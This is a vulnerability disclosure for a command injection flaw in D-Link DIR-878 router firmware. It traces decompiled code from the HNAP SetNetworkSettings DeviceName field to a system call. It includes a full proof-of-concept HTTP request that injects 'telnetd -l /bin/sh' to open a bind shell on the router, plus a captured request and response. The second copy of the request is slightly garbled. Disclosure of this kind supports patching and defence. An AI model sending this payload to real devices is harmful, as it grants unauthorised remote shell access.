

D-Link Vulnerability

Vendor:D-Link

Product:DIR_878

Version:DIR_878_FW1.30B08_Hotfix_02(Download Link:<https://support.dlink.com/ProductInfo.aspx?m=DIR-878>)

Type:Command Execution

Author:Jiaqian Peng,Huizhao Wang

Institution:pengjiaqian@iie.ac.cn,wanghuizhao@iie.ac.cn

Vulnerability description

We found an Command Injection vulnerability in D-link Technology router with firmware which was released recently.A command Injection vulnerability allows attackers to execute arbitrary OS commands via a crafted /HNAP1 POST request. This occurs when any HNAP API function triggers a call to the `twsystem` function with untrusted input from the request body for the `SetNetworkSettings` API function (need authentication).

Remote Command Execution

In `prog.cgi` binary:

In `SetNetworkSettings` function, `DeviceName` is directly passed by the attacker.After that, call the function `nvrn_safe_set` to store this input.

```

79  if ( !v7 )
80  return WebsSetResponseResult(a1, 12);
81  v8 = webGetVarString(a1, (int)"/SetNetworkSettings/DeviceName");
82  if ( !v8 )
83  return WebsSetResponseResult(a1, 12);
84  v9 = webGetVarString(a1, (int)"/SetNetworkSettings/LocalDomainName");
85  if ( !v9 )
86  return WebsSetResponseResult(a1, 12);
87  v10 = (const char *)webGetVarString(a1, (int)"/SetNetworkSettings/IPR");
88  if ( !v10 )
89  return WebsSetResponseResult(a1, 12);
90  v11 = (const char *)webGetVarString(a1, (int)"/SetNetworkSettings/IPR");
91  if ( !v11 )
92  return WebsSetResponseResult(a1, 12);
93  v12 = webGetVarString(a1, (int)"/SetNetworkSettings/LeaseTime");
94  if ( !v12 )
95  return WebsSetResponseResult(a1, 12);
96  v13 = webGetVarString(a1, (int)"/SetNetworkSettings/Broadcast");
97  if ( !v13 )
98  return WebsSetResponseResult(a1, 12);
99  v14 = webGetVarString(a1, (int)"/SetNetworkSettings/DNSRelay");
100 if ( !v14 )
101 return WebsSetResponseResult(a1, 12);
102 if ( !tbsCheckHostIpEx(v6) )
103 return WebsSetResponseResult(a1, 24);
104 if ( !tbsCheckMaskEx(v7) )
105 return WebsSetResponseResult(a1, 24);
106 v15 = tbsCnvtIpFromStr(v6);
107 v16 = ~tbsCnvtIpFromStr(v7);
108 if ( (v15 & v16) == 0 )
109 return WebsSetResponseResult(a1, 24);
110 if ( (v15 & v16) == v16 )
111 return WebsSetResponseResult(a1, 24);
112 if ( atoi(v10) <= 0 )
113 return WebsSetResponseResult(a1, 24);
114 if ( atoi(v10) >= 255 )
115 return WebsSetResponseResult(a1, 24);
116 if ( atoi(v11) <= 0 )
117 return WebsSetResponseResult(a1, 24);
118 if ( atoi(v11) >= 255 )
119 return WebsSetResponseResult(a1, 24);
120 v4 = atoi(v10);
121 if ( atoi(v11) < v4 )
122 return WebsSetResponseResult(a1, 24);
123 if ( strcmp(v37, v6) )
124 dword_4EAD34 |= 0x100u;
125 nvram_safe_set("lan0_ipaddr", v6);
126 if ( (unsigned int)strlen(v6) >= 7 )
127 {
128     sprintf(v39, "echo %s >/proc/ipinfo/ip_addr", v6);
129     system(v39);
130 }
131 nvram_safe_set("lan0_netmask", v7);
132 if ( (unsigned int)strlen(v7) >= 7 )
133 {
134     sprintf(v39, "echo %s >/proc/ipinfo/net_mask", v7);
135     system(v39);
136 }
137 nvram_safe_set("lan0_management_link", v8);
138 nvram_safe_set("lan0_domain", v9);
139 v21 = 0;

```

Then, we configure vlan, which will call the function `SetVLANSettings`.

In `rc` binary:

```
85 if ( !strcmp(v2, "vlanwanall", 8) )
86 {
87     if ( (v3 & 1) != 0 )
88     {
89         stop_lan_up();
90         stop_lan_br();
91         stop_lan_ipv6service();
92         stop_wan();
93         stop_wan6();
94         wan_wan0_vlan_delete_interface();
95     }
96     if ( (v3 & 2) != 0 )
97     {
98         start_lan_br();
99         start_lan_up(0);
100        start_lan_ipv6service();
101        wan_wan0_vlan_create_interface();
102        start_wan();
103        start_wan6();
104    }
```

Then, `start_lan_up` -> `start_dev_mgt_link`.

Eventually, the initial input will be extracted and cause command injection.

```

49     fclose(v8);
50 }
51 snprintf(v14, 8, "%s%d_", "lan", 0);
52 v0 = sub_42AED0(v14, "management_link", &v16);
53 v4 = (const char *)nvram_safe_get(v0);
54 if ( *v4 )
55 {
56     v16 = 0;
57     v17 = 0;
58     v18 = 0;
59     v19 = 0;
60     v20 = 0;
61     v21 = 0;
62     v22 = 0;
63     v23 = 0;
64     v2 = sub_42AED0(v14, "ipaddr", &v16);
65     v5 = (const char *)nvram_safe_get(v2);
66     if ( *v5 )
67     {
68         v3 = sub_42AED0(v14, "ifname", &v16);
69         v6 = (const char *)nvram_safe_get(v3);
70         v11 = socket(2, 3, 255);
71         if ( v11 >= 0 )
72         {
73             strncpy(v26, v6, ' ');
74             if ( !ioctl(v11, 35111, v26) )
75                 snprintf(v15, 8, "%02X%02X", (unsigned __int8)v26[0], (unsigned __int8)v26[1]);
76             close(v11);
77         }
78         if ( LOBYTE(v15[0]) )
79         {
80             v7 = fopen("/tmp/hosts", "w+");
81             if ( v7 )
82             {
83                 fprintf(v7, "%s %s\n", v5, v4);
84                 fprintf(v7, "%s %s%s\n", v5, v4, (const char *)v15);
85                 fprintf(v7, "%s %s.local\n", v5, v4);
86                 fprintf(v7, "%s %s%s.local\n", v5, v4, (const char *)v15);
87                 fwrite("127.0.0.1 localhost\n", 1, 20, v7);
88                 fflush(v7);
89                 fclose(v7);
90             }
91             TW_reversechar(v25, v4, 256);
92             snprintf(v24, 128, "hostname %s", v4);
93             twsystem(v24, 1);
94             snprintf(
95                 v24,
96                 128,

```

Supplement

There will be multiple ways to call the start_dev_mgt_link function (vulnerability trigger point) in the program. In order to avoid such problems, we believe that the string content should be checked in the input extraction part.

PoC

We set `DeviceName` as `;telnetd -l /bin/sh -p 8888 -b 0.0.0.0;`, and the router will execute it, such as:

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetNetworkSettings"
HNAP_AUTH: 41A76B62FAB2A659CC98E8F9988EB5CC 1638684065941
Content-Length: 662
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/Network.html
Cookie: uid=gN7NGFrG
```

```
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetNetworkSettings xmlns="http://purenetworks.com/HNAP1/">
  <IPAddress>192.168.0.1</IPAddress>
  <SubnetMask>255.255.255.0</SubnetMask>
  <DeviceName>;telnetd -l /bin/sh -p 8888 -b 0.0.0.0;</DeviceName>
  <LocalDomainName></LocalDomainName>
  <IPRangeStart>100</IPRangeStart>
  <IPRangeEnd>199</IPRangeEnd>
  <LeaseTime>10080</LeaseTime>
  <Broadcast>false</Broadcast>
  <DNSRelay>true</DNSRelay>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>
```

Request

RawParamsHeadersHexXML

POST /HNAPI/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAPI/SetNetworkSettings"
HNAP_AUTH: 41A76862FAB2A659CC98E8F9988EB5CC 1638684065941
Content-Length: 662
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/Network.html
Cookie: uid=gN7NGFrG

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetNetworkSettings xmlns="http://purenetworks.com/HNAPI/">
<IPAddress>192.168.0.1</IPAddress>
<SubnetMask>255.255.255.0</SubnetMask>
<DeviceName>telnetd -l /bin/sh -p 8888 -b 0.0.0.0:</DeviceName>
<LocalDomainName>/LocalDomainName</LocalDomainName>
<IPRangeStart>100</IPRangeStart>
<IPRangeEnd>199</IPRangeEnd>
<LeaseTime>10080</LeaseTime>
<Broadcast>false</Broadcast>
<DNSRelay>true</DNSRelay>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>

Response

RawHeadersHexXML

HTTP/1.1 200 OK
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
Set-Cookie: uid=gN7NGFrG; Path=/; HttpOnly;
Content-type: text/xml
Connection: close
Date: Thu, 16 Jul 2020 16:44:34 GMT
Server: T6W/1.00
Content-Length: 383

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetNetworkSettingsResponse xmlns="http://purenetworks.com/HNAPI/">
<SetNetworkSettingsResult>OK</SetNetworkSettingsResult>
</SetNetworkSettingsResponse>
</soap:Body>
</soap:Envelope>

Then,I turn on the VLAN function of the router.

D-Link

DIR-878 HW:A1 FW:1.30

首页 | 设置 | 功能 | 管理

互联网



Triple-Play(VLAN)是一种建构于局域网交换技术的网络管理的技术，网管人员可以藉此通过控制交换机有效分派出入区域网的封包到正确的出入口，达到对不同实体区域网中的装置进行逻辑分群管理，并降低区域网内大量数据流通时，因无用封包过多导致堵塞的问题，以及提升区域网的信息安全保障。

设置>>互联网>>VLAN

IPv6

IPv4

保存

Triple-Play

状态: 已启用

优先级 ID: 已启用

Result

This will trigger the `start_dev_mgt_link` method, and then get a shell!

